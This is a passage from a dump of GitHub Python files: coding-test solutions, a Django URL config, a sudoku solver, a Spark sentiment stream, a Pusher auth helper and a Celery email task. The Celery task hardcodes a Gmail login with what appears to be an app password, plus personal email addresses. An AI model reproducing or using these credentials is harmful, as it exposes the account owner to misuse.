fileZIP.notArhive()\n\n\n","repo_name":"CoOsmoze/RPBO-Lab","sub_path":"WorkWithFile/fileZIP.py","file_name":"fileZIP.py","file_ext":"py","file_size_in_byte":3656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"22182947302","text":"def solution(answer_sheet, sheets):\n anslist = []\n max_continuous = -1\n for i in range(len(sheets)):\n target = sheets[i]\n for j in range(len(sheets)):\n compare = sheets[j]\n count = 0\n continuous = 0\n if i < j :\n for k in range(len(answer_sheet)):\n if target[k] == compare[k] and target[k] != answer_sheet[k]:\n count += 1\n continuous += 1\n if max_continuous < continuous:\n max_continuous = continuous\n if target[k] != compare[k] or target[k] == answer_sheet[k]:\n # print(\"hit\")\n continuous = 0\n # print(\"------------\")\n # print(\"i 번 :\",i+1,\"j 번 :\",j+1,\"오답의 수는 :\",count,\"최대 연속오답은 :\",max_continuous)\n if max_continuous == -1:\n max_continuous = 0\n anslist.append(count + max_continuous*max_continuous)\n return max(anslist)\n\nprint(solution(\"4132315142\", [\"3241523133\",\"4121314445\",\"3243523133\",\n \"4433325251\",\"2412313253\"]))\nprint(solution(\"53241\",[\"53241\", \"42133\", \"53241\", \"14354\"]))\nprint(solution(\"24551\", [\"24553\", \"24553\", \"24553\", \"24553\"]))","repo_name":"SeungHune/beakjun","sub_path":"line_coding_test_2019_2.py","file_name":"line_coding_test_2019_2.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"36775734535","text":"#create a list called menu, which contains at least 4 items in the cafe\n#create a dictionary called stock which contains the stock value of each menu item\n#create a dictionary called price which contains the price of each item on the menu\n#calculate total_stock worth in the cafe\n#print the result of total_stock\n\nmenu = [\"biscuits\", \"tea\", \"sandwich\", \"full english\"]\nstock = {\"biscuits\": 50, \"tea\": 30, \"sandwich\": 10, \"full english\": 5}\nprice = {\"biscuits\": 1.0, \"tea\": 2.0, \"sandwich\": 5.0, \"full english\": 7.0}\n\ntotal_stock = 0\nfor item in menu:\n total_stock += stock[item] * price[item]\n\nprint(total_stock)","repo_name":"monterey56/T12","sub_path":"cafe.py","file_name":"cafe.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"23914774595","text":"import time\nimport numpy as np\nfrom pyspark import SparkContext\nfrom pyspark.sql import SQLContext\nfrom pyspark.streaming import StreamingContext\nfrom pyspark.sql import SparkSession, functions as func\nfrom pyspark.ml.feature import HashingTF, Tokenizer, StopWordsRemover\nfrom pyspark.ml.classification import LogisticRegression\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nimport pickle\n\nsc = SparkContext(\"local[2]\", \"sentiment\")\nssc = StreamingContext(sc,1)\nspark = SparkSession(sc)\nsq=SQLContext(sc)\n\ndef God_bless(rdd):\n\tif(rdd.isEmpty()!=True):\n\t\t\n\t\trdd1=rdd.flatMap(lambda x: x.split('}'))\n\t\trdd1=rdd1.filter(lambda x: x!='')\n\t\t#print(rdd1.collect())\n\t\trdd2=rdd1.map(lambda x: (int(x.split('\"feature0\": ')[1][0]),(x.split('\"feature1\": ')[1][1:-1]).lower().strip()))\n\t\tdf=sq.createDataFrame(rdd2,schema=['Sentiment','Text'])\n\t\tdf=df.withColumn('Text',func.regexp_replace('Text',r'http\\S+',''))\n\t\tdf=df.withColumn('Text',func.regexp_replace('Text','@\\w+',''))\n\t\tdf=df.withColumn('Text',func.regexp_replace('Text','#',''))\n\t\tdf=df.withColumn('Text',func.regexp_replace('Text',':',' '))\n\t\tdf=df.withColumn('Text',func.regexp_replace('Text',r'[^\\w ]',' '))\n\t\tdf=df.withColumn('Text',func.regexp_replace('Text',r'[\\d]',''))\n\t\tdf=df.withColumn('Text',func.regexp_replace('Text',r'\\b[a-zA-Z]\\b',''))\n\t\tdf=df.withColumn('Text',func.regexp_replace('Text',r'\\b[a-zA-Z][a-zA-Z]\\b',''))\n\t\tdf=df.withColumn('Text',func.regexp_replace('Text',' +',' '))\n\t\tdf=df.withColumn('Text',func.regexp_replace('Text','^\\s+|\\s+$',''))\n\t\t\n\t\ttokenizer=Tokenizer(inputCol=\"Text\",outputCol=\"Senti_Words\")\n\t\ttokenized_df=tokenizer.transform(df)\n\t\t\n\t\tremover=StopWordsRemover(inputCol=\"Senti_Words\", outputCol=\"Meaningful_Words\")\n\t\tfiltered_df=remover.transform(tokenized_df)\n\t\t\n\t\thashTF=HashingTF(inputCol=\"Meaningful_Words\",outputCol=\"Features\")\n\t\tnumeric_df=hashTF.transform(filtered_df).select('Sentiment','Meaningful_Words','Features')\n\t\t\n\t\tX=np.array(numeric_df.select(\"Features\").collect())\n\t\tY=np.array(numeric_df.select(\"Sentiment\").collect())\n\t\t\n\t\tmodel_prediction1(X,Y)\n\ndef model_prediction1(X_test,Y_test):\n\tserialized_model = open(\"/home/pes1ug19cs543/BD/model.pickle\", \"rb\")\n\tmodel = pickle.load(serialized_model)\n\tserialized_model.close()\n \t\n\tX_test=X_test.reshape(X_test.shape[0], (X_test.shape[1]*X_test.shape[2]))\n\tY_preds = list(model.predict(X_test))\n\tprint(\"Test Accuracy 1 : {}\".format(accuracy_score(Y_test.reshape(-1), Y_preds)))\n\n\n\nlines = ssc.socketTextStream('localhost',6100)\nlines.foreachRDD(lambda rdd :God_bless(rdd))\n\n\n\n\n\n\t\n\n\n\nssc.start()\nssc.awaitTermination()\n\t\t\n\n","repo_name":"tkalaskar/Machine-Learning-with-Spark-Streaming","sub_path":"project_test.py","file_name":"project_test.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"27838750220","text":"# link: https://leetcode.com/problems/min-cost-climbing-stairs/\n\n__author__ = \"Lahiru Hasaranga Weliwitiya\"\n\n\"\"\"\nO(N) approach!\n\"\"\"\n\ndef minCostClimbingStairs(cost):\n if len(cost) == 0: return 0\n if len(cost) == 1: return cost[0]\n if len(cost) == 2: return min(cost)\n memo = [0] + ([-1]*len(cost)) + [0]\n cost = [0] + cost + [0]\n memo[1] = cost[1]\n for i in range(2, len(memo)):\n memo[i] = min(cost[i] + memo[i-1], cost[i] + memo[i-2] )\n return memo[-1]\n\n\n# cost = []\n# cost = [10, 15]\n# cost = [10, 15, 20]\ncost = [1, 100, 1, 1, 1, 100, 1, 1, 100, 1]\nprint( minCostClimbingStairs(cost) )","repo_name":"LahiruHW/portfolio","sub_path":"Practice Problems/LeetCode/746. Min Cost Climbing Stairs/min_cost_cstairs_1.py","file_name":"min_cost_cstairs_1.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"28918833814","text":"from django.urls import path\nfrom .views import (CoursesHomeView,\n CourseDetail,\n SectorCourses,\n SearchCourse,\n AddComment,\n GetCartDetail,\n CourseStudy,\n )\n\nurlpatterns = [\n path(\"/\", SectorCourses.as_view(), name=\"CourseList\"),\n path('details//', CourseDetail.as_view(), name=\"CourseDetails\"),\n path('', CoursesHomeView.as_view(), name=\"CourseHome\"),\n path('search//',SearchCourse.as_view(), name=\"SearchCourse\"),\n path('comment/', AddComment.as_view(), name=\"AddComment\"),\n path('cart/', GetCartDetail.as_view(), name=\"GetCartDetail\"),\n path('study/', CourseStudy.as_view(), name=\"CourseStudy\"),\n]","repo_name":"b21627816/UdemyClone","sub_path":"Udemy_Clone/courses/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"74723767944","text":"class World:\n\tpits = {}\n\n\tdef __init__(self):\n\t\tprint(\"World has been created\")\n\n\n\tdef addPit(self, pCoord, pKey):\n\t\tresult = False\n\n\t\tif not self.pits.has_key(pKey):\n\t\t\tself.pits[pKey] = pCoord\n\t\t\tresult = True\n\n\t\treturn result\n\n\n","repo_name":"debarron/playing-Python","sub_path":"Maze/World.py","file_name":"World.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"36822153260","text":"import pickle\n\nimport torch\n\nfrom src.data.make_dataset import reader\nfrom src.utils import SequenceDataset, Lang\n\n\ndef test_SequenceDataset():\n with open(\"lightning_logs/lang_params.pickle\", 'rb') as handle:\n lang_params = pickle.load(handle)\n\n # Construct language encoder and encoder input\n lang_encoder = SequenceDataset(\n lang_params[\"word2id\"],\n lang_params[\"fam2label\"],\n lang_params[\"max_seq_len\"],\n None,\n None\n )\n x_encoded = lang_encoder.encode_single_sample(\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\")\n assert x_encoded[0].shape == torch.rand((22, 120)).shape\n assert x_encoded[0].dtype == torch.int64\n\n x_encoded, y = lang_encoder.encode_single_sample(\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\", \"NA\")\n assert x_encoded.shape == torch.rand((22, 120)).shape\n assert x_encoded.dtype == torch.int64\n assert isinstance(y, int)\n\n lang_encoder = SequenceDataset(\n lang_params[\"word2id\"],\n lang_params[\"fam2label\"],\n lang_params[\"max_seq_len\"],\n \"data/random_split/test\",\n None\n )\n\n assert lang_encoder.data is not None\n assert lang_encoder.label is not None\n assert len(lang_encoder.data) == len(lang_encoder.label)\n\n lang_encoder = SequenceDataset(\n lang_params[\"word2id\"],\n lang_params[\"fam2label\"],\n lang_params[\"max_seq_len\"],\n \"data/random_split\",\n \"test\"\n )\n\n assert lang_encoder.data is not None\n assert lang_encoder.label is not None\n assert len(lang_encoder.data) == len(lang_encoder.label)\n\n\ndef test_build_vocab():\n lang = Lang()\n train_data, train_targets = reader(\"train\", \"data/random_split\")\n word2id = lang.build_vocab(train_data)\n\n assert isinstance(word2id, dict)\n assert len(word2id.keys()) > 2\n assert isinstance(word2id[''], int)\n assert isinstance(word2id[''], int)\n","repo_name":"pratt3000/Protein-domain-prediction","sub_path":"src/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"26297361395","text":"import logging\nimport random\nimport pusher\n\nPUSHER_APP_ID = ''\nPUSHER_KEY = ''\nPUSHER_SECRET = ''\nPUSHER_CHANNEL_NAMESPACE = ''\nEVENT_BUS_PARTITIONS = 1\n\npusher_client = pusher.Pusher(\n app_id=PUSHER_APP_ID,\n key=PUSHER_KEY,\n secret=PUSHER_SECRET\n)\n\n\ndef parse_channel(channel_name):\n \"\"\"\n Channel name format is:\n presence---\n or presence--\n \"\"\"\n channel = channel_name.split('-')\n optional_channel_info = {}\n if len(channel) == 4:\n namespace_index = 3\n try:\n optional_channel_info.update({'id': int(channel[2])})\n except ValueError:\n return None\n else:\n namespace_index = 2\n if channel[namespace_index] != PUSHER_CHANNEL_NAMESPACE:\n return None\n return {'type': channel[1], **optional_channel_info}\n\n\ndef authenticate(request, member):\n channel = parse_channel(request.form['channel_name'])\n if not channel:\n return None\n auth = False\n if channel['id'] == member['id']:\n auth = True\n if not auth:\n return None\n try:\n tmp = pusher_client.authenticate(\n channel=request.form['channel_name'],\n socket_id=request.form['socket_id'],\n custom_data={\n 'user_id': member['id'],\n })\n except Exception:\n logging.exception('Pusher exception')\n return None\n if tmp is None:\n logging.error('There was an error while authenticating with Pusher')\n else:\n return tmp\n\n\ndef validate_webhook(request):\n # See this link for more details: https://pusher.com/docs/webhooks\n key = request.headers['X-Pusher-Key']\n signature = request.headers['X-Pusher-Signature']\n try:\n response = pusher_client.validate_webhook(key, signature, request.get_data())\n except Exception:\n logging.exception('Pusher exception')\n return None\n\n return response\n\n\ndef trigger_pusher(channel_name, event_type, data):\n try:\n pusher_client.trigger(channel_name, event_type, data)\n except Exception:\n logging.exception('Pusher exception')\n\n\ndef _defer_trigger(channel_name, event_type, data):\n info = channel_name.split('-')\n try:\n id = int(info[2])\n except ValueError:\n id = random.randint(0, EVENT_BUS_PARTITIONS)\n core.queue_deferred(\n trigger_pusher,\n channel_name,\n event_type,\n data,\n _queue='pusher',\n _key=id\n )\n","repo_name":"gotitinc/code-samples","sub_path":"misc/pusher/pusher.py","file_name":"pusher.py","file_ext":"py","file_size_in_byte":2480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"12724353157","text":"n, m, k = map(int,input().split(\" \"))\n\ndef getNumNotMinus(num):\n if num < 0:\n return 0\n return num\n\ndef getRotateStartPoint(playerPos, exitPos, distance):\n er, ec = exitPos\n tmp = [max(playerPos[0],er), max(playerPos[1], ec)]\n start = [getNumNotMinus(tmp[0] - distance), getNumNotMinus(tmp[1] - distance)]\n return start\n\ndef getDistance(one, two):\n return abs(one[0] - two[0]) + abs(one[1] - two[1])\n\ndef movePlayer(board, player, exit):\n dr = [-1, 1, 0,0]\n dc = [0,0,1,-1]\n nextPos = []\n distance = getDistance(exit, player)\n for i in range(4):\n nr = player[0] + dr[i]\n nc = player[1] + dc[i]\n if nr < 0 or nr >= n:\n continue\n if nc < 0 or nc >= n:\n continue\n if board[nr][nc] != 0:\n continue\n if getDistance(exit, [nr,nc]) < distance:\n nextPos.append([nr,nc])\n if len(nextPos) == 0:\n return [player, 0]\n return [nextPos[0], 1]\n\ndef getRotateRange(board, exit, players):\n er, ec = exit\n # 출구에서 r차이와 c차이가 제일 작은 참가자 찾기\n target = players[0]\n targetDistance = max(abs(er-target[0]), abs(ec-target[1]))\n start = getRotateStartPoint(target, exit, targetDistance)\n for player in players:\n maxDistance = max(abs(er-player[0]), abs(ec-player[1]))\n # 더 작은 정사각형 일 경우\n if maxDistance < targetDistance:\n target = player\n targetDistance = maxDistance\n start = getRotateStartPoint(target, exit, targetDistance)\n # 정사각형 크기 같은 경우\n if maxDistance == targetDistance:\n curStart = getRotateStartPoint(player, exit, maxDistance)\n if curStart[0] < start[0]:\n target = player\n targetDistance = maxDistance\n start = curStart\n elif curStart[0] == start[0] and curStart[1] < start[1]:\n target = player\n targetDistance = maxDistance\n start = curStart\n return [start, [start[0] + targetDistance, start[1] + targetDistance]]\n\ndef rotateBoard(board, start, end):\n sr, sc = start\n er, ec = end\n tmp = [row[sc:ec+1] for row in board[sr:er+1]]\n rotateTmp = [[0] * len(tmp) for _ in range(len(tmp))]\n for r in range(len(tmp)):\n for c in range(len(tmp)):\n rotateTmp[c][len(tmp)-1-r] = tmp[r][c]\n for r in range(len(tmp)):\n for c in range(len(tmp)):\n board[sr+r][sc+c] = getNumNotMinus(rotateTmp[r][c]-1)\n return len(tmp)\n\ndef rotatePlayerAndExit(start, end, exit, players, rotateN):\n sr, sc = start\n er, ec = end\n # 범위내 있는 참가자 회전\n for index, player in enumerate(players):\n if sr <= player[0] <= er and sc <= player[1] <= ec:\n r, c = [player[0] - start[0], player[1] - start[1]]\n players[index] = [c + start[0], rotateN-1-r+start[1]]\n exitr, exitc = [exit[0]-start[0], exit[1]-start[1]]\n exit = [exitc+start[0], rotateN-1-exitr+start[1]]\n return exit\n\nboard = []\nfor _ in range(n):\n board.append(list(map(int, input().split(\" \"))))\n\nplayers = []\nfor _ in range(m):\n r, c = map(int, input().split(\" \"))\n players.append([r-1,c-1])\ner, ec = map(int, input().split(\" \"))\nexit = [er-1, ec-1]\n\n\ntotalDistance = 0\nfor time in range(k):\n # 참가자 이동\n for index in range(len(players)):\n newPos, distance = movePlayer(board, players[index], exit)\n players[index] = newPos\n totalDistance += distance\n # 출구에 도달한 참가자 삭제\n tmp = []\n for player in players:\n if player[0] == exit[0] and player[1] == exit[1]:\n continue\n tmp.append(player)\n players = tmp\n # 참가자가 모두 탈출한 경우 게임 종료\n if len(players) == 0:\n break\n # 회전\n # 회전할 정사각형 범위 찾기\n start, end = getRotateRange(board, exit, players)\n # 회전하기, 벽 내구도 1깎기\n rotateN = rotateBoard(board, start, end)\n # 회전 범위 내에 있는 참가자와 출구 회전\n exit = rotatePlayerAndExit(start, end, exit, players, rotateN)\n\nprint(totalDistance)\nprint(exit[0]+1, exit[1]+1)","repo_name":"leesunmin1231/Coding_test","sub_path":"스터디/메이즈러너.py","file_name":"메이즈러너.py","file_ext":"py","file_size_in_byte":4233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"41473410739","text":"HEIGHT = 9\nWIDTH = 9\n\ndef init_grid():\n \"\"\"\n Initialize the grid with zeros\n \"\"\"\n grid = []\n for i in range(HEIGHT):\n L = []\n for j in range(WIDTH):\n L.append(0)\n grid.append(L)\n return grid\n\ndef init_possibilities():\n \"\"\"\n Initialize the grid with zeros\n \"\"\"\n grid = []\n for i in range(HEIGHT):\n L = []\n for j in range(WIDTH):\n L.append(list(range(1, 10)))\n grid.append(L)\n return grid\n\ndef print_grid(grid):\n \"\"\"\n Print a pretty grid\n \"\"\"\n print(\"||---|---|---||---|---|---||---|---|---||\")\n for i in range(HEIGHT):\n print(\"||\", end=\"\")\n for j in range(WIDTH):\n if (j%3 == 2):\n print(\" \" + str(grid[i][j]) + \" ||\", end=\"\")\n else:\n print(\" \" + str(grid[i][j]) + \" |\", end=\"\")\n \n if (i%3 == 2):\n print(\"\\n||---|---|---||---|---|---||---|---|---||\")\n else:\n print(\"\")\n\ndef check_grid(grid):\n \"\"\"\n Check if the grid is valid or not (one digit per column, line and block)\n \"\"\"\n pass\n\ndef lines(grid, possibilities):\n \"\"\"\n Fill the possibilities for each cell, checking the lines\n\n The function directly modifies the possibilities parameter.\n \"\"\"\n # Going through each line\n for i in range(HEIGHT):\n in_line = []\n for j in range(WIDTH):\n # For each non-zero cell value, we remove it from the possibilities\n # because it is on the line\n cell = grid[i][j]\n if cell != 0 and cell not in in_line:\n possibilities[i][j] = []\n # for k in range(WIDTH):\n # if grid[i][j] in possibilities[i][k]:\n # possibilities[i][k].remove(grid[i][j])\n in_line.append(cell)\n for j in range(WIDTH):\n for elt in in_line:\n if elt in possibilities[i][j]:\n possibilities[i][j].remove(elt)\n\n\ndef columns(grid, possibilities):\n \"\"\"\n Fill the possibilities for each cell, checking the columns.\n \n The function directly modifies the possibilities parameter.\n \"\"\"\n # Going through each column\n for j in range(WIDTH):\n in_column = []\n for i in range(HEIGHT):\n # For each non-zero cell value, we remove it from the possibilities\n # because it is on the column\n cell = grid[i][j]\n if cell != 0 and cell not in in_column:\n possibilities[i][j] = []\n # for k in range(HEIGHT):\n # if cell in possibilities[k][j]:\n # possibilities[k][j].remove(cell)\n in_column.append(cell)\n for i in range(HEIGHT):\n for elt in in_column:\n if elt in possibilities[i][j]:\n possibilities[i][j].remove(elt)\n\n\ndef block(grid, possibilities):\n \"\"\"\n Fill the possibilities for each cell, checking the blocks.\n \n The function directly modifies the possibilities parameter.\n \"\"\"\n # Going through each block\n for n_block in range(9):\n in_block = []\n for line in range(3):\n for column in range(3):\n cell = grid[3*(n_block//3) + line][3*(n_block%3) + column]\n if cell != 0:\n possibilities[3*(n_block//3) + line][3*(n_block%3) + column] = []\n if cell not in in_block:\n in_block.append(cell)\n for line in range(3):\n for column in range(3):\n for elt in in_block:\n if elt in possibilities[3*(n_block//3) + line][3*(n_block%3) + column]:\n possibilities[3*(n_block//3) + line][3*(n_block%3) + column].remove(elt)\n \n\n\ndef fill(grid, possibilities):\n \"\"\"\n Fill the grid with the only option when there is one (given by possibilities)\n \"\"\"\n for i in range(HEIGHT):\n for j in range(WIDTH):\n if len(possibilities[i][j]) == 1:\n grid[i][j] = possibilities[i][j][0]\n\ndef recurse_solve(grid):\n pass\n\n\nif __name__ == \"__main__\":\n# grid = init_grid()\n possibilities = init_possibilities()\n grid = [ [8,7,0,0,0,6,3,0,0],\n [0,4,0,8,0,1,0,0,0],\n [2,5,0,4,0,0,8,0,1],\n [1,0,0,0,0,0,0,0,9],\n [0,9,0,0,0,4,0,6,0],\n [7,6,0,0,0,0,0,0,8],\n [0,0,3,0,9,7,0,0,4],\n [0,2,0,0,6,0,0,1,0],\n [0,0,0,3,4,0,6,0,0]]\n\n print_grid(grid)\n \n finished = False\n while not finished:\n columns(grid, possibilities)\n lines(grid, possibilities)\n block(grid, possibilities)\n fill(grid, possibilities)\n\n for i in range(WIDTH):\n if 0 in grid[i]:\n finished = False\n break\n else:\n finished = True\n\n print(\"\\n\\n\")\n print_grid(grid)\n\n\n\n # Objective: coding an optimized algorithm\n # where it first uses non-recursive algo and if \n # there is an infinite loop, then, call the recursive one\n","repo_name":"J3y0/sudoku_solver","sub_path":"solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":5148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"23637395244","text":"# Importing libraries for env and shell variable\nimport sys\nimport os\nfrom dotenv import load_dotenv\nimport json\nimport requests\n\n\nload_dotenv()\n\napi_token = os.getenv(\"GITHUB_API_KEY\")\nos.environ[\"GITHUB_USERNAME\"] = os.getenv(\"GITHUB_USERNAME\")\n\ntry:\n repo_name = sys.argv[1]\nexcept:\n print(\"Please provide repo name\")\n sys.exit(1)\n\n\nurl = \"https://api.github.com/user/repos\"\npayload = {\n \"name\": repo_name,\n \"description\": \"\"\n}\nheaders = {\n \"Authorization\": f\"token {api_token}\",\n \"Accept\": \"application/vnd.github.v3+json\"\n}\n\nresponse = requests.post(url, headers=headers, data=json.dumps(payload))\n\nif response.status_code == 201:\n print(f\"Repo {repo_name} created successfully\")\nelse:\n print(f\"Error creating repo {repo_name}\")\n print(f\"Status code: {response.status_code}\")\n print(response.json())\n","repo_name":"lfDev28/Mac_Scripts","sub_path":"github_repo_macro/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"2424765408","text":"import lfs.config as config\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim.lr_scheduler as schedulers\n\nclass LFSScheduler:\n\n \n\n def __init__(\n self,\n scheduler_name:str=config.SCHEDULER_NAME,\n optimizer:torch.optim=None\n ):\n\n '''\n A class which contains a list of schedulers that checks the scheduler_name and then returns \n the optimizer required accordingly from the get_req_scheduler function.\n\n Input: Input comes from LFSTrainerUtils class fetch_scheduler() function.\n scheduler_name : str : Name of the scheduler required. Eg: steplr, lr_on_plateau, etc...\n optimizer : torch.optim.optimizer_using : Object of the optimizer being used\n '''\n \n self.scheduler_name = scheduler_name\n self.optimizer = optimizer\n self.step_size = 30\n self.gamma = 0.1\n self.last_epoch = config.LAST_EPOCH\n self.mode = config.MODE\n self.factor = config.FACTOR\n self.patience = config.PATIENCE\n self.threshold = config.THRESHOLD\n self.cooldown = config.COOLDOWN\n self.eps = config.EPS\n\n def get_req_scheduler(self):\n \n '''\n A function that checks the scheduler_name and returns the respective scheduler object\n \n Input:Input from self\n scheduler_name : str : Name of the scheduler required.\n optimizer : torch.optim.optimizer_using : Object of the optimizer being used\n other_params: Other params depend on the scheduler being used \n\n Returns:\n Object of the scheduler required\n '''\n\n if self.scheduler_name==\"step_lr\":\n return schedulers.StepLR(\n optimizer=self.optimizer,\n step_size=self.step_size,\n gamma=self.gamma,\n last_epoch=self.last_epoch,\n verbose=False\n )\n \n elif self.scheduler_name==\"lr_on_plateau\":\n return schedulers.ReduceLROnPlateau(\n optimizer=self.optimizer,\n mode=self.mode,\n factor=self.factor,\n patience=self.patience,\n threshold=self.threshold,\n cooldown=self.cooldown,\n eps=self.eps,\n verbose=False\n )\n\n else:\n return schedulers.StepLR(\n optimizer=self.optimizer,\n step_size=self.step_size,\n gamma=self.gamma,\n last_epoch=self.last_epoch,\n verbose=False\n )","repo_name":"Vasanthengineer4949/LFS-Torch-Trainer","sub_path":"lfs/utils/lfsscheduler.py","file_name":"lfsscheduler.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"27599622678","text":"\n#%%\nimport yaml\nimport pandas as pd\nimport pickle\nfrom pathlib import Path\nimport numpy as np\nimport os, sys\n\nproject_path = Path(__file__).parents[2]\nos.sys.path.append(project_path.as_posix())\n\nfrom src.MyModule.utils import *\nconfig = load_config()\n\ntable_name = 'lung_oprt_nfrm'\nfile_name = config['file_name'][table_name]\ninput_path = Path(config['path_config']['input_path'])\noutput_path = Path(config['path_config']['output_path'])\ncolumns = config['data_config']['required'][table_name.upper()]\nprefix = config['data_config']['prefix'][table_name.upper()]\n\nif not output_path.joinpath('0_preprocess').exists():\n output_path.joinpath('0_preprocess').mkdir(parents=True)\n\noutput_path = output_path.joinpath('0_preprocess')\n\n#%%\noprt_nfrm = read_file(input_path, file_name)\n\n#%% \noprt_required = oprt_nfrm[columns.keys()]\n\n#%%\noprt_required = convert_dates(oprt_required, config, table_name.upper())\n\n#%%\n\noprt_required = oprt_required.rename(columns = {'OPRT_YMD':'TIME'})\n\n#%%\noprt_required.sort_values(by=['PT_SBST_NO','TIME'])\n\n#%%\nduplicated_counts = oprt_required[['PT_SBST_NO','TIME']].duplicated().sum()\nprint(f'duplicated_counts : {duplicated_counts}')\n\n#%%\n\noprt_final = oprt_required.set_index(['PT_SBST_NO','TIME'])\n\noprt_final = oprt_final.add_prefix(prefix)\n\noprt_final = remove_invalid_values(oprt_final)\n\n\n#%%\noprt_final.to_pickle(output_path.joinpath(table_name + '.pkl'))\n\n# %%\n","repo_name":"DigitalHealthcareLab/23Synthetic_BN_LDP","sub_path":"lung_cancer/src/0_preprocess/preprocess_oprt_nfrm.py","file_name":"preprocess_oprt_nfrm.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73588931786","text":"import smtplib\r\nimport datetime\r\nfrom typing import List\r\n\r\nfrom celery import Celery\r\nfrom celery import shared_task\r\nfrom celery.schedules import crontab\r\n\r\nfrom email.mime.base import MIMEBase\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.multipart import MIMEMultipart\r\n\r\nREDIS_HOST = \"redis://localhost:6379/0\"\r\n\r\napp = Celery('tasks', \r\n backend=REDIS_HOST,\r\n broker=REDIS_HOST)\r\n\r\napp.conf.timezone = 'UTC'\r\n#app.autodiscover_tasks()\r\n\r\n@app.task\r\ndef send_email(to: str, subject: str, message: str):\r\n try:\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n server.starttls()\r\n server.login(\"tekertudo@gmail.com\", \"lbrkulimopjljajs\")\r\n msg = f\"Subject: {subject}\\n\\n{message}\"\r\n server.sendmail(\"tekertudo@gmail.com\", to, msg)\r\n server.quit()\r\n print('Email enviado com sucesso!')\r\n except Exception as e:\r\n print(\"O erro é =\", e)\r\n\r\n\r\n\r\napp.conf.beat_schedule = {\r\n 'send_email': {\r\n 'task': 'tasks.send_email',\r\n 'schedule': crontab(minute='*/1'), # Executar a cada 1 minuto\r\n 'args': (\"lukasmulekezika2@gmail.com\", \"Testando Celery\", \"Este foi apenas um email de teste do Celery\"),\r\n },\r\n}\r\n\r\n\r\nif __name__ == '__main__':\r\n app.start()","repo_name":"By-Lucas/Fastapi-Celery-Opencv","sub_path":"test/test_celery.py","file_name":"test_celery.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"1250446074","text":"import os\nfrom pdx import Agent\n\nchat_agent = Agent(os.path.dirname(__file__))\n\nif __name__ == '__main__':\n _question = 'What are the uses of Glucose?'\n\n _response = chat_agent.execute({\n '2_user': {'question': _question}\n })\n\n print(_response.data)\n","repo_name":"pdx-labs/pdx","sub_path":"examples/chat_agent/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"81"} +{"seq_id":"31707042938","text":"import torch.nn as nn\nimport torch\nimport torch.nn.functional as F\n\n\nclass WordEmbedding(nn.Module):\n '''\n In : (N, sentence_len)\n Out: (N, sentence_len, embd_size)\n '''\n def __init__(self, vocab_size, embd_size, pre_embd_w=None, is_train_embd=False):\n super(WordEmbedding, self).__init__()\n self.embedding = nn.Embedding(vocab_size, embd_size)\n if pre_embd_w is not None:\n print('pre embedding weight is set')\n self.embedding.weight = nn.Parameter(pre_embd_w, requires_grad=is_train_embd)\n\n def forward(self, x):\n return self.embedding(x)\n\n\nclass SimpleLSTM(nn.Module):\n def __init__(self, vocab_size, embd_size, hidden_size, class_size, pre_embd_w=None):\n super(SimpleLSTM, self).__init__()\n self.embd_size = embd_size\n self.hidden_size = hidden_size\n self.embedding = WordEmbedding(vocab_size, embd_size, pre_embd_w)\n self.rnn = nn.GRU(embd_size, hidden_size, batch_first=True)\n self.fc = nn.Linear(hidden_size, class_size)\n\n def forward(self, x):\n '''\n x: (bs, hist_len+1, sent_len)\n '''\n bs = x.size(0)\n\n x = self.embedding(x.view(bs, -1)) # (bs, -1, E)\n x, _ = self.rnn(x) # (bs, -1, H)\n x = torch.sum(x, 1) # (bs, H)\n y = self.fc(F.tanh(x.view(bs, -1))) # (bs, class_size)\n y = F.log_softmax(y, -1) # (bs, class_size)\n return y\n","repo_name":"jojonki/DailyDialog-Parser","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1421,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"31665786404","text":"from helpers import *\nimport numpy as np\n\ndef update_user_feature(\n 